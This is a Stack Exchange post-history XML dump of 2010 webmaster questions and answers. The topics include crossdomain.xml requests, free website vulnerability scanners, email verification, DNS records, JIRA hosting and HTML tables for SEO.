  <row Id="13799" PostHistoryTypeId="1" PostId="6861" RevisionGUID="812ebaed-2309-4c51-b0e6-708a7a1d8cc0" CreationDate="2010-12-18T20:24:12.520" UserId="663" Text="Lots of 404 requests for crossdomain.xml in my server logs" />
  <row Id="13800" PostHistoryTypeId="3" PostId="6861" RevisionGUID="812ebaed-2309-4c51-b0e6-708a7a1d8cc0" CreationDate="2010-12-18T20:24:12.520" UserId="663" Text="&lt;404&gt;&lt;error&gt;" />
  <row Id="13801" PostHistoryTypeId="2" PostId="6862" RevisionGUID="4d791ff7-d9d3-4b85-9907-97e45ae2a016" CreationDate="2010-12-18T20:55:00.257" UserDisplayName="Marcus" Text="Is there a browser plugin that can allow a user to measure objects on a PDF in the browser window? It needs to be cross-browser." />
  <row Id="13802" PostHistoryTypeId="1" PostId="6862" RevisionGUID="4d791ff7-d9d3-4b85-9907-97e45ae2a016" CreationDate="2010-12-18T20:55:00.257" UserDisplayName="Marcus" Text="Browser plugin for measuring PDF" />
  <row Id="13803" PostHistoryTypeId="3" PostId="6862" RevisionGUID="4d791ff7-d9d3-4b85-9907-97e45ae2a016" CreationDate="2010-12-18T20:55:00.257" UserDisplayName="Marcus" Text="&lt;plugin&gt;&lt;pdf&gt;&lt;browsers&gt;&lt;measure&gt;" />
  <row Id="13804" PostHistoryTypeId="2" PostId="6863" RevisionGUID="cdf6198c-a90a-4789-9534-8c1f25993a31" CreationDate="2010-12-18T18:52:15.577" UserDisplayName="sLuG" Text="I'm looking for a free vulnerability scanner to check whether my website has common vulnerabilities and so on. Can someone list the best free vulnerability scanners?" />
  <row Id="13805" PostHistoryTypeId="1" PostId="6863" RevisionGUID="cdf6198c-a90a-4789-9534-8c1f25993a31" CreationDate="2010-12-18T18:52:15.577" UserDisplayName="sLuG" Text="Best free Vulnerability Scanners that check your websites PHP &amp; MySQL code?" />
  <row Id="13806" PostHistoryTypeId="3" PostId="6863" RevisionGUID="cdf6198c-a90a-4789-9534-8c1f25993a31" CreationDate="2010-12-18T18:52:15.577" UserDisplayName="sLuG" Text="&lt;security&gt;&lt;php&gt;&lt;mysql&gt;" />
  <row Id="13807" PostHistoryTypeId="17" PostId="6863" RevisionGUID="0414fb10-f228-437d-96fa-9538e61c9132" CreationDate="2010-12-18T21:14:24.423" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/10462/best-free-vulnerability-scanners-that-check-your-websites-php-mysql-code" Text="" />
  <row Id="13808" PostHistoryTypeId="2" PostId="6864" RevisionGUID="824f3d97-7bd1-46a3-b9a4-f7042775b2ec" CreationDate="2010-12-18T21:50:06.983" UserId="3978" Text="For privacy reasons, I'm searching for an open source album application I can host on my server, Is there such a project? In C#? &#xD;&#xA;&#xD;&#xA;I'd like to upload pictures, tag them, have privileges settings etc.&#xD;&#xA;&#xD;&#xA;10x" />
  <row Id="13809" PostHistoryTypeId="1" PostId="6864" RevisionGUID="824f3d97-7bd1-46a3-b9a4-f7042775b2ec" CreationDate="2010-12-18T21:50:06.983" UserId="3978" Text="C# Open source album application " />
  <row Id="13810" PostHistoryTypeId="3" PostId="6864" RevisionGUID="824f3d97-7bd1-46a3-b9a4-f7042775b2ec" CreationDate="2010-12-18T21:50:06.983" UserId="3978" Text="&lt;open-source&gt;&lt;c#&gt;" />
  <row Id="13811" PostHistoryTypeId="2" PostId="6865" RevisionGUID="05ea360f-edc9-4c36-b276-da3470ac97fc" CreationDate="2010-12-18T22:01:06.303" UserId="2293" Text="For Windows platform I could recommend [Acunetix Free][1]&#xD;&#xA;&#xD;&#xA;OWASP developing and testing guides are awesome.&#xD;&#xA;&#xD;&#xA;However, I think there are no 100% good options. The best way (time expensive altough) would be using cheatsheets. I mean, all tools and frameworks I know just check for some commom faults like exploiting require/includes and trying some injections.&#xD;&#xA;&#xD;&#xA;For a better security, you should also test HTTP protocol stuff, Poison Null Byte, Fault and Boundaries Injections, XSS, CSRF and SQL Injection. Because just ensure one point does not guarantee the others (and real attackers surely will explore all options).&#xD;&#xA;&#xD;&#xA;Using XSS, CSRF, SQL Injection and HTTP codes, surely can enhance a lot your security checks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.acunetix.com/vulnerability-scanner/" />
  <row Id="13812" PostHistoryTypeId="2" PostId="6866" RevisionGUID="d7645e13-131f-4e13-8904-b5d03db3f018" CreationDate="2010-12-18T23:25:48.843" UserId="3797" Text="I have been doing exactly this sort of thing for a long time, and would agree that the best solution is to use experienced testers to check your security profile, however testing for these types of vulnerabilities is actually pretty easy to automate. Having managed a programme to test around 1000 web applications over a 6 month period, I can say the standout tools for me are [IBM's AppScan][1] and [Burp][2] - and for most purposes Burp is lighter, faster, more configurable, and is a whole lot cheaper! &#xD;&#xA;&#xD;&#xA;Very easy to get Burp to check for input validation failures - and sort out your SQL injection and XSS issues. You can get exceedingly good coverage of these type of vulnerabilities.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www-01.ibm.com/software/awdtools/appscan/&#xD;&#xA;  [2]: http://portswigger.net/burp/" />
  <row Id="13813" PostHistoryTypeId="2" PostId="6867" RevisionGUID="2ec8fe99-effa-44b9-bef1-d8bfbbd15cb9" CreationDate="2010-12-18T23:51:38.143" UserId="2193" Text="This file contains permissions for flash applications. It is requested by any flash app embedded on your site. (Just like favicon or robots.txt)&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13814" PostHistoryTypeId="2" PostId="6868" RevisionGUID="be0baef3-7a0e-4d17-bf80-e55b449c3f83" CreationDate="2010-12-19T02:12:56.610" UserId="3" Text="Correct, the `crossdomain.xml` file is requested to determine if Flash and Silverlight apps are &quot;allowed&quot; to access your website. Personally, I think it's a *really* dumb convention, but.. it's out there.&#xD;&#xA;&#xD;&#xA;For [Microsoft Silverlight][1]&#xD;&#xA;&#xD;&#xA;&gt; When calling a cross-domain service, Silverlight will check for the existence of clientaccesspolicy.xml first.  This is the format defined by Silverlight and provides a pretty flexible way to define who can access what services.  If not found, it will then default to look for crossdomain.xml, which is the file format implemented for Adobe Flash.  It is important to note that this file will also still work for most public web services.&#xD;&#xA;&#xD;&#xA;For [Adobe Flash][2]&#xD;&#xA;&#xD;&#xA;&gt; Another change to the Flash Player 7 framework is the use of cross-domain policy files. A policy file is a simple XML file that gives the Flash Player permission to access data from a given domain without displaying a security dialog. When placed on a server, it tells the Flash Player to allow direct access to data on that server, without prompting the user to grant access.&#xD;&#xA;&#xD;&#xA;Probably easiest to add this file if you don't want the 404s, and decide whether or not you want to allow Flash and Silverlight access to your website without a security prompt.&#xD;&#xA;&#xD;&#xA;[1]: http://msdn.microsoft.com/en-us/library/cc645032.aspx&#xD;&#xA;[2]: http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.html" />
  <row Id="13815" PostHistoryTypeId="2" PostId="6869" RevisionGUID="f3714395-2fb6-4ea1-b851-f762c0cd82b7" CreationDate="2010-12-19T02:15:30.680" UserDisplayName="PF4Public" Text="This file is requested any time a remote website script attempts to get resources from your site. See [this question][1].  &#xD;&#xA;So, this means, someone is trying to leech your files - read referrers, if they are logged.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/4417455/crossdomain-security-clarification" />
  <row Id="13816" PostHistoryTypeId="2" PostId="6870" RevisionGUID="44cb11f5-f137-43ab-8bc6-072767d9b2a3" CreationDate="2010-12-19T03:45:56.217" UserDisplayName="John" Text="I was playing around with Amazon's Check out process today and I noticed something odd. Amazon does not make you activate your account or verify your email address. I only had to enter my email twice during the registration process. They never sent me an activation email. Is this becoming standard? I can understand the reasoning that if you entered someone else's email address during registration the person who actually owns the email address could change the password on the account. It just seems really odd. Can someone explain how they get away with this?" />
  <row Id="13817" PostHistoryTypeId="1" PostId="6870" RevisionGUID="44cb11f5-f137-43ab-8bc6-072767d9b2a3" CreationDate="2010-12-19T03:45:56.217" UserDisplayName="John" Text="How does amazon get away without verifying emails?" />
  <row Id="13818" PostHistoryTypeId="3" PostId="6870" RevisionGUID="44cb11f5-f137-43ab-8bc6-072767d9b2a3" CreationDate="2010-12-19T03:45:56.217" UserDisplayName="John" Text="&lt;security&gt;&lt;web-design&gt;&lt;amazon&gt;" />
  <row Id="13819" PostHistoryTypeId="17" PostId="6870" RevisionGUID="0a7131b7-42f9-4317-956a-100eabd54a99" CreationDate="2010-12-19T03:51:24.187" UserId="-1" Comment="from http://stackoverflow.com/questions/4481495/how-does-amazon-get-away-without-verifying-emails" Text="" />
  <row Id="13820" PostHistoryTypeId="2" PostId="6871" RevisionGUID="cb78c76b-57f1-4a29-9d89-8aa49fde8cf5" CreationDate="2010-12-19T05:48:46.280" UserId="3514" Text="What do you mean how do they get away with that?&#xD;&#xA;&#xD;&#xA;The just don't do it...&#xD;&#xA;There's no getting away with anything, as there's nothing that says they have to.&#xD;&#xA;&#xD;&#xA;They don't save any information other than email, name, and wish list, so there really isn't that much that someone could get away with if the email address wasn't the registrants..." />
  <row Id="13821" PostHistoryTypeId="2" PostId="6872" RevisionGUID="fd0452fb-3570-4dc6-837f-771784310e00" CreationDate="2010-12-17T19:10:32.680" UserDisplayName="lsap" Text="A quick example would be very helpful. Thanks" />
  <row Id="13822" PostHistoryTypeId="1" PostId="6872" RevisionGUID="fd0452fb-3570-4dc6-837f-771784310e00" CreationDate="2010-12-17T19:10:32.680" UserDisplayName="lsap" Text="How can I backup my websites files and folders and MySQL database using PHP and send them to an email address in splited 1 MB pieces?" />
  <row Id="13823" PostHistoryTypeId="3" PostId="6872" RevisionGUID="fd0452fb-3570-4dc6-837f-771784310e00" CreationDate="2010-12-17T19:10:32.680" UserDisplayName="lsap" Text="&lt;php&gt;&lt;mysql&gt;" />
  <row Id="13824" PostHistoryTypeId="17" PostId="6872" RevisionGUID="a8ecfdcd-75de-4b31-829d-0aa19505b36e" CreationDate="2010-12-19T06:57:55.697" UserId="-1" Comment="from http://stackoverflow.com/questions/4473961/how-can-i-backup-my-websites-files-and-folders-and-mysql-database-using-php-and-s" Text="" />
  <row Id="13825" PostHistoryTypeId="2" PostId="6873" RevisionGUID="68995226-6736-487a-8ed1-dff76492325e" CreationDate="2010-12-19T07:48:11.373" UserId="3759" Text="[w3af][1] is one of the best available pieces out there for web audit, and it's also FOSS&#xD;&#xA;&#xD;&#xA;&gt;  *&quot;w3af is a Web Application Attack and Audit Framework. The project's goal is to create a framework to find and exploit web application vulnerabilities that is easy to use and extend.&quot;*&#xD;&#xA;&#xD;&#xA;make sure to give it a try&#xD;&#xA;&#xD;&#xA;  [1]: http://w3af.sourceforge.net/" />
  <row Id="13826" PostHistoryTypeId="10" PostId="6863" RevisionGUID="e9e043a6-acc7-437a-a9ea-0e82e61bc9a6" CreationDate="2010-12-19T08:42:00.333" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="13827" PostHistoryTypeId="5" PostId="6863" RevisionGUID="66011cb0-1785-4db3-9c9e-4956cc4d03d4" CreationDate="2010-12-19T08:42:00.440" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Best free Vulnerability Scanners that check your websites PHP &amp;amp; MySQL code?](http://webmasters.stackexchange.com/questions/6858/best-free-vulnerability-scanners-that-check-your-websites-php-mysql-code)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I'm looking for a free vulnerability scanner to check whether my website has common vulnerabilities and so on. Can someone list the best free vulnerability scanners?" />
  <row Id="13828" PostHistoryTypeId="2" PostId="6874" RevisionGUID="3466cd11-1ceb-46b1-9a37-e0ddaf35906d" CreationDate="2010-12-19T11:15:37.077" UserId="3819" Text="Email activation doesn't stop automated registration and it's generally a nuisance for the user.&#xD;&#xA;&#xD;&#xA;Amazon is in the business of making it as easy as possible for you to register and drill down through their checkout structure so you pay them. An email activation system is just a speed bump with no worthwhile purpose. What does Amazon care if you didn't provide a real email address if you gave real credit card information?&#xD;&#xA;&#xD;&#xA;On the other hand, a message board website might want you to verify your email to inconvenience the average spammer. But even then, check out utilities like http://10minutemail.com/10MinuteMail/index.html that makes &quot;bogus&quot; email verification effortless." />
  <row Id="13829" PostHistoryTypeId="2" PostId="6875" RevisionGUID="95065c97-e389-4e8e-8d2a-027c26a697b5" CreationDate="2010-12-19T11:16:42.893" UserId="2780" Text="The short answer: **NO**.&#xD;&#xA;&#xD;&#xA;The long answer:&#xD;&#xA;&#xD;&#xA;If You are only going to redirect them to some third party site (PayPal or something) to collect donations, there is little need to have a SSL certificate. If You publish a bank account and ask to make a transfer, there is little need too.&#xD;&#xA;&#xD;&#xA;You should have a SSL certificate if You ask someone to send important/private (credit cards numbers, addresses, phone numbers) data.&#xD;&#xA;" />
  <row Id="13830" PostHistoryTypeId="2" PostId="6876" RevisionGUID="bfa80c99-eba6-4c3a-8eec-9018361c82ab" CreationDate="2010-12-19T11:41:07.603" UserId="3819" Text="The conversation about &quot;Freshbot&quot; and &quot;Deepbot&quot; are pretty deprecated. I haven't heard those words used since the early 2000s on intermittent Geocities websites. And I can't find any good sources on them that aren't websites riddled with Adsense. The woes of Google indexing is such a nebulous mechanism that you're better off not trying to put such a fine point on the question by trying to peg distinct Google crawler specificities that probably don't even exist anymore.&#xD;&#xA;&#xD;&#xA;More contemporary buzzword guesses for how Google indexing works for new websites include the [Sandbox effect][1], but it's a better perspective to ask &quot;why am I not getting indexed?&quot;, and then understanding that unless you have a reason to be penalized by Google or if Google simply doesn't understand your navigation heirarchy, you're likely just in the waiting game.&#xD;&#xA;&#xD;&#xA;Sounds like your website is just new. Sometimes, new websites get fully indexed in less than a week. Sometimes, they finally get indexed after four months of wait no matter what you do.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Sandbox_effect" />
  <row Id="13832" PostHistoryTypeId="2" PostId="6878" RevisionGUID="b8b6ce73-915e-41bd-b909-cd6b8b7d93a9" CreationDate="2010-12-19T13:26:07.510" UserDisplayName="ryan dewhurst" Text="If you process the credit card details you will need to conform to the PCI DSS standards which state that you need to encrypt the payment communications. It is cheaper and more secure to use a third party like PayPal if you are not making many transactions." />
  <row Id="13833" PostHistoryTypeId="2" PostId="6879" RevisionGUID="93b2f73d-f50f-40a5-84e0-5ed82226397f" CreationDate="2010-12-19T13:31:58.940" UserDisplayName="ryan dewhurst" Text="There are many good automated open source black box web application vulnerability scanners.&#xD;&#xA;&#xD;&#xA;w3af&#xD;&#xA;&#xD;&#xA;websecurify&#xD;&#xA;&#xD;&#xA;skipfish&#xD;&#xA;&#xD;&#xA;Netsparker Community Edition (Free with limited functionality)&#xD;&#xA;&#xD;&#xA;Nikto&#xD;&#xA;&#xD;&#xA;It is best not to rely on just one automated scanner, each have their strengths and weaknesses, so always run a few of them and compare the results. You will also have to check for false positives and false negatives.&#xD;&#xA;&#xD;&#xA;Automated vulnerability scanning has its place and is useful however it should always be backed up by a security professional who understands the vulnerabilities and can also check for further ones manually. Automated scanning is a good start and better than nothing though.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13834" PostHistoryTypeId="2" PostId="6880" RevisionGUID="5eaf6f32-8edf-437b-bb9d-1f5f6f438664" CreationDate="2010-12-19T14:17:00.960" UserId="3985" Text="I've been running small websites for years, but recently developed a site that is attracting more traffic than expected. My shared web hosting provider has warned me that this is causing a high load on the server and that I might need to look into getting a dedicated/vps hosting server (which they do not provide).&#xD;&#xA;&#xD;&#xA;I've never used dedicated or vps hosting, so I don't really know what to look for. Will it be significantly more expensive? Are cloud services like Amazon EC2 or Windows Azure something I should be looking at? Can you recommend a particular service?&#xD;&#xA;&#xD;&#xA;My site is built using PHP, and I am in Canada, if that helps. Thanks!" />
  <row Id="13835" PostHistoryTypeId="1" PostId="6880" RevisionGUID="5eaf6f32-8edf-437b-bb9d-1f5f6f438664" CreationDate="2010-12-19T14:17:00.960" UserId="3985" Text="Dedicated Hosting 101" />
  <row Id="13836" PostHistoryTypeId="3" PostId="6880" RevisionGUID="5eaf6f32-8edf-437b-bb9d-1f5f6f438664" CreationDate="2010-12-19T14:17:00.960" UserId="3985" Text="&lt;web-hosting&gt;&lt;php&gt;&lt;server&gt;&lt;vps&gt;&lt;cloud-hosting&gt;" />
  <row Id="13837" PostHistoryTypeId="2" PostId="6881" RevisionGUID="621af9e5-6fe3-45a4-9917-08b28d8392c5" CreationDate="2010-12-19T15:32:17.353" UserId="2938" Text="Change the PDF viewer you are using to one that has a measuring tool in it.  For example, [PDF-XChange Viewer][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.tracker-software.com/product/pdf-xchange-viewer" />
  <row Id="13838" PostHistoryTypeId="5" PostId="6879" RevisionGUID="de55fdbe-b474-4217-89b0-a91ffc19dedb" CreationDate="2010-12-19T16:14:04.137" UserId="1757" Comment="formatting and link" Text="There are many good automated open source black box web application vulnerability scanners.&#xD;&#xA;&#xD;&#xA; - w3af&#xD;&#xA; - websecurify&#xD;&#xA; - skipfish&#xD;&#xA; - Netsparker Community Edition (Free with limited functionality)&#xD;&#xA; - [Nikto][1]&#xD;&#xA;&#xD;&#xA;It is best not to rely on just one automated scanner, each have their strengths and weaknesses, so always run a few of them and compare the results. You will also have to check for false positives and false negatives.&#xD;&#xA;&#xD;&#xA;Automated vulnerability scanning has its place and is useful however it should always be backed up by a security professional who understands the vulnerabilities and can also check for further ones manually. Automated scanning is a good start and better than nothing though.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cirt.net/nikto2" />
  <row Id="13839" PostHistoryTypeId="2" PostId="6882" RevisionGUID="3ac2784e-a39c-429d-8205-c4ec75178fdc" CreationDate="2010-12-19T16:38:18.850" UserId="1941" Text="What are CNAME and A DNS records? What are they used for? What is the difference between the two? " />
  <row Id="13840" PostHistoryTypeId="1" PostId="6882" RevisionGUID="3ac2784e-a39c-429d-8205-c4ec75178fdc" CreationDate="2010-12-19T16:38:18.850" UserId="1941" Text="What areCNAME and A DNS Records?" />
  <row Id="13841" PostHistoryTypeId="3" PostId="6882" RevisionGUID="3ac2784e-a39c-429d-8205-c4ec75178fdc" CreationDate="2010-12-19T16:38:18.850" UserId="1941" Text="&lt;domains&gt;&lt;dns&gt;&lt;web-hosting&gt;" />
  <row Id="13842" PostHistoryTypeId="2" PostId="6883" RevisionGUID="e057dc16-29a3-4a09-bfa0-5f6df19b7ad4" CreationDate="2010-12-19T16:40:26.300" UserId="3987" Text="Are sources of email marketing data available to the public?&#xD;&#xA;&#xD;&#xA;I would like to see email marketing data to see what kind of content a business sends out, the frequency of sending, the number of people emailed, especially the resulting open rates and click through rates.&#xD;&#xA;&#xD;&#xA;Are businesses willing to share data on their previous email marketing campaigns without divulging their contact list? I would like to use this data to create an application to help businesses create better newsletters by using this data as a benchmark, basically sharing what works and what doesn't for each industry." />
  <row Id="13843" PostHistoryTypeId="1" PostId="6883" RevisionGUID="e057dc16-29a3-4a09-bfa0-5f6df19b7ad4" CreationDate="2010-12-19T16:40:26.300" UserId="3987" Text="Are there sources of email marketing data available?" />
  <row Id="13844" PostHistoryTypeId="3" PostId="6883" RevisionGUID="e057dc16-29a3-4a09-bfa0-5f6df19b7ad4" CreationDate="2010-12-19T16:40:26.300" UserId="3987" Text="&lt;email&gt;&lt;data&gt;" />
  <row Id="13845" PostHistoryTypeId="2" PostId="6884" RevisionGUID="1aa8a50e-c864-48a8-8027-bf1686ceac1a" CreationDate="2010-12-19T16:40:36.697" UserId="1253" Text="[Cname record][1]&#xD;&#xA;&#xD;&#xA;A record: Returns a 32-bit IPv4 address, most commonly used to map hostnames to an IP address of the host, but also used for DNSBLs, storing subnet masks in RFC 1101, etc.&#xD;&#xA;&#xD;&#xA;See [List of DNS record types][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/CNAME_record&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/List_of_DNS_record_types" />
  <row Id="13846" PostHistoryTypeId="5" PostId="6882" RevisionGUID="59a79b6c-2e13-4d12-8fcb-8a10ba4924d5" CreationDate="2010-12-19T16:44:55.913" UserId="1941" Comment="added 92 characters in body; edited title" Text="What are CNAME and A DNS records? What are they used for? What is the difference between the two? &#xD;&#xA;&#xD;&#xA;**Edit:** Where does the CNAME record exist? On the server or with the domain registrar?" />
  <row Id="13847" PostHistoryTypeId="4" PostId="6882" RevisionGUID="59a79b6c-2e13-4d12-8fcb-8a10ba4924d5" CreationDate="2010-12-19T16:44:55.913" UserId="1941" Comment="added 92 characters in body; edited title" Text="What are CNAME and A DNS Records?" />
  <row Id="13848" PostHistoryTypeId="2" PostId="6885" RevisionGUID="37bf1ebf-ba62-4cce-a70c-7a7020e48b44" CreationDate="2010-12-19T17:16:09.597" UserId="3987" Text="Take a look at CodeIgniter, a PHP framework. No shell access required. It isn't as strict as RoR as far as I know and the documentation and community are excellent." />
  <row Id="13849" PostHistoryTypeId="2" PostId="6886" RevisionGUID="54c2abab-05a4-4184-a1b3-b7e96341422e" CreationDate="2010-12-19T17:17:32.823" UserId="2621" Text="A cname record is a pointer that points to a fully qualified domain name(fqdn), an A Record is a pointer that points to an ip adress.&#xD;&#xA;&#xD;&#xA;**Edit:** these records exist on your aptly named Name Server (aka NS) which your registrar points to." />
  <row Id="13850" PostHistoryTypeId="2" PostId="6888" RevisionGUID="01d5ae78-60e6-43c9-b063-0c001c5ddc31" CreationDate="2010-06-30T20:53:25.513" UserId="291" Text="I've never attempted to install or run JIRA on a shared server, but my guess is that most consumer-grade hosting providers would not be robust enough to handle JIRA. According to the [requirements][1], you can run it with 256MB RAM, but that's for a very bare-bones installation. Once you start getting lots of issues and users, etc., you'll easily need 1-2GB, which is pretty expensive in the VPS and shared-hosting world.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://confluence.atlassian.com/display/JIRA/JIRA+Requirements" />
  <row Id="13851" PostHistoryTypeId="2" PostId="6889" RevisionGUID="cedf6906-132b-42d5-a6fa-30da9f6f62d6" CreationDate="2010-12-19T21:51:45.177" UserDisplayName="user7345" Text="Good question. I am using Jira on a Win 2008 RS dedicated server. I'm looking to move it to another server so it's easier for me to let someone else maintain it.&#xD;&#xA;&#xD;&#xA;You may want to look for a Linux VPS with 2GB of Ram" />
  <row Id="13852" PostHistoryTypeId="2" PostId="6887" RevisionGUID="c3fc60a8-5b3d-478e-9139-1645301065d0" CreationDate="2010-06-30T20:48:36.353" UserDisplayName="samoz" Text="I purchased [JIRA][1] a few weeks ago to manage some projects and such and intended to put it on my shared web host.&#xD;&#xA;&#xD;&#xA;However, it requires a Tomcat server instead of Apache. It comes with a packaged Tomcat server, but when I use this, I get errors about exceeding my accounts memory and CPU limits.&#xD;&#xA;&#xD;&#xA;Are there any shared hosting providers that can host JIRA successfully? How can I tell which ones will work?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.atlassian.com/software/jira/" />
  <row Id="13853" PostHistoryTypeId="1" PostId="6887" RevisionGUID="c3fc60a8-5b3d-478e-9139-1645301065d0" CreationDate="2010-06-30T20:48:36.353" UserDisplayName="samoz" Text="What sort of shared hosting can I run a JIRA installation on?" />
  <row Id="13854" PostHistoryTypeId="3" PostId="6887" RevisionGUID="c3fc60a8-5b3d-478e-9139-1645301065d0" CreationDate="2010-06-30T20:48:36.353" UserDisplayName="samoz" Text="&lt;web-hosting&gt;&lt;application&gt;" />
  <row Id="13855" PostHistoryTypeId="17" PostId="6887" RevisionGUID="63beeabf-6a8d-47ad-a9a7-a1c1cedf8f1a" CreationDate="2010-12-19T22:17:37.320" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/94/what-sort-of-shared-hosting-can-i-run-a-jira-installation-on" Text="" />
  <row Id="13856" PostHistoryTypeId="2" PostId="6891" RevisionGUID="1bbbb033-32f7-42e8-b1a8-c39afbafe96d" CreationDate="2010-12-19T22:29:32.583" UserDisplayName="Marko" Text="It's been said before, and I'll say it again.&#xD;&#xA;&#xD;&#xA;`Tabular data` - **Use tables**&#xD;&#xA;&#xD;&#xA;`Layout` - **Use Divs**&#xD;&#xA;&#xD;&#xA;&gt; I have a layout where I'll use more div structure to achieve something made simple with a table..&#xD;&#xA;&#xD;&#xA;Sounds like you're trying to cut corners or make it **easier** for you to finish the job. In any case, there are a few exceptions where using a table might be ***crucial*** but without viewing what the design looks like, I can't say." />
  <row Id="13857" PostHistoryTypeId="2" PostId="6893" RevisionGUID="fe431c15-deec-40c8-9179-3668dec02caf" CreationDate="2010-12-19T22:29:55.200" UserId="2480" Text="HTML tables are good:&#xD;&#xA;&#xD;&#xA; - displaying table-like date&#xD;&#xA;&#xD;&#xA;Non-tabular data presented as HTML tables are bad for:&#xD;&#xA;&#xD;&#xA; - physically challenged people because they have to use screen readers (which do not work very well with nested tables)&#xD;&#xA; - search engines prefer sites which are made for people and accessible sites are one of them&#xD;&#xA;&#xD;&#xA;To see your site as search engines try to visit it with [text browser][1] like [ELinks][2] or [lynx][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Text-based_web_browser&#xD;&#xA;  [2]: http://www.elinks.cz/&#xD;&#xA;  [3]: http://lynx.isc.org/" />
  <row Id="13858" PostHistoryTypeId="2" PostId="6895" RevisionGUID="d260b574-e74f-4c3d-97bb-708bc19b7386" CreationDate="2010-12-19T22:31:21.013" UserDisplayName="Tyler" Text="As far as SEO is concerned, search engines do not care. However, the idea is to separate design from content. Tables should strictly be used for tabular data, divs for layout. Using tables for design purposes mixes your markup with layout elements, which is regarded as bad practice." />
  <row Id="13859" PostHistoryTypeId="2" PostId="6896" RevisionGUID="0bcd9b83-801f-434f-966a-02061fad86bf" CreationDate="2010-12-19T22:32:34.823" UserDisplayName="ajbeaven" Text="Search engines do not have a preference when it comes to tables and/or CSS, and you can even use both on the same page without issue. &#xD;&#xA;&#xD;&#xA;If you really wanted to push it, I suppose page load time is something to keep in mind. It is a known factor in AdWords Quality Score, and there is definitely evidence of Google checking out user behavior in the SERPs, so if they see a high rate of abandonment (customers getting impatient with the page load time), you can lose out on rankings. Divs and CSS load faster than tables." />
  <row Id="13860" PostHistoryTypeId="2" PostId="6897" RevisionGUID="c0a29cb1-feac-4dad-9bc0-1d37845d3ba1" CreationDate="2010-12-19T23:14:11.033" UserDisplayName="Herman" Text="Ok, here's the deal.&#xD;&#xA;&#xD;&#xA;It must be said, that tables are meant for tabular data, not layout. You're making accessibility a issue on both older mobile phones and text-based browsers used by the visually-impaired. &#xD;&#xA;&#xD;&#xA;Now, Google's algorithm most definitely takes that into account. I don't know the specifics algorithm, but I would guess that when someone is on a mobile phone, Google gives results that it knows is more appropriate to a mobile phone - so you might be losing a great deal of potential visitors if you use a table for layout.&#xD;&#xA;&#xD;&#xA;Depending on your layout, you might also be making it difficult for the search engine to determine which text and paragraphs are related to which. This could be bad for your ranking, but probably not too much. With CSS layout it is, however, easier to ensure that the main content of your page is near the top, which always helps.&#xD;&#xA;&#xD;&#xA;Thirdly, using tables for layout duplicates a lot of HTML markup for every page in your site that is loaded. This duplication will effect your page-load time, even if it is only slightly, but Google, among other engines, are known to use load time as one of their metrics in determining site rank.&#xD;&#xA;&#xD;&#xA;All in all, I don't think the difference in main search engine ranking would be that great. There are definite advantages to using `div`s CSS for layout though, as noted in [this post][1], and it should therefore be the recommended course of action, unless there's a *really* good reason for going the table route (which there rarely is).&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html" />
  <row Id="13861" PostHistoryTypeId="2" PostId="6892" RevisionGUID="468d5224-e556-490c-b839-fd1582b6f58d" CreationDate="2010-12-19T22:29:44.167" UserId="934" Text="`&lt;table&gt;`s vs. `&lt;div&gt;`s will have little or no effect on your SEO results. However, putting titles and keywords into your `&lt;h1&gt;`, `&lt;h2&gt;`, `&lt;h3&gt;`, etc.. tags will help." />
  <row Id="13862" PostHistoryTypeId="2" PostId="6894" RevisionGUID="c1464ba3-1368-470d-976e-c414b33b42e1" CreationDate="2010-12-19T22:30:58.793" UserDisplayName="Orbling" Text="HTML tables should be used for tabular data and data sets (input as well as output) that flow naturally as tabular data such as forms.  Using them for layout only is inadvisable.&#xD;&#xA;&#xD;&#xA;As for SEO and Google, well, I believe Google applies the same logic as above, in any case nesting textual information deep in such a structure, rather than with an appropriate structure using headings and paragraphs works better." />
  <row Id="13863" PostHistoryTypeId="2" PostId="6890" RevisionGUID="918b4c21-b82c-4dd1-8a0e-20282246ec08" CreationDate="2010-12-19T22:25:13.313" UserDisplayName="Cyber Junkie" Text="A lot of designers discourage the use of tables but I have a layout where I'll use more div structure to achieve something made simple with a table..&#xD;&#xA;&#xD;&#xA;Are tables bad for search engines? &#xD;&#xA;&#xD;&#xA;edit: I will use CSS for the table to keep the HTML clean.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13864" PostHistoryTypeId="1" PostId="6890" RevisionGUID="918b4c21-b82c-4dd1-8a0e-20282246ec08" CreationDate="2010-12-19T22:25:13.313" UserDisplayName="Cyber Junkie" Text="are HTML tables bad for seo?" />
  <row Id="13865" PostHistoryTypeId="3" PostId="6890" RevisionGUID="918b4c21-b82c-4dd1-8a0e-20282246ec08" CreationDate="2010-12-19T22:25:13.313" UserDisplayName="Cyber Junkie" Text="&lt;html&gt;&lt;css&gt;&lt;table&gt;&lt;seo&gt;" />
  <row Id="13866" PostHistoryTypeId="17" PostId="6890" RevisionGUID="ad6f8d46-5aa3-43cc-af76-fa5c1baf6cb3" CreationDate="2010-12-19T23:27:50.090" UserId="-1" Comment="from http://stackoverflow.com/questions/4485458/are-html-tables-bad-for-seo" Text="" />
